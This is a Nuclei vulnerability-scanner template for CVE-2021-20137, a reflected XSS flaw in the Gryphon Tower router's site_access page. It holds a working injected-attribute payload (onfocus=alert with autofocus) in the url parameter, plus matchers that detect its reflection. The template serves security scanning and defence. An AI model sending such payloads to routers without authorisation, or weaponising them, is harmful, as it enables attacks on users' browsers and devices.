nuclei-templates/cves/2021/CVE-2021-20137.yaml

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1.3 KiB
YAML

id: CVE-2021-20137
info:
name: Gryphon Tower - Reflected XSS
author: edoardottt
severity: medium
description: A reflected cross-site scripting vulnerability exists in the url parameter of the /cgi-bin/luci/site_access/ page on the Gryphon Tower router's web interface. An attacker could exploit this issue by tricking a user into following a specially crafted link, granting the attacker javascript execution in the context of the victim's browser.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-20137
cwe-id: CWE-79
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-20137
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20137
- https://www.tenable.com/security/research/tra-2021-51
tags: xss,tenable,cve,cve2021,gryphon
requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- 'onfocus=alert(document.domain) autofocus=1>'
- 'Send Access Request URL'
condition: and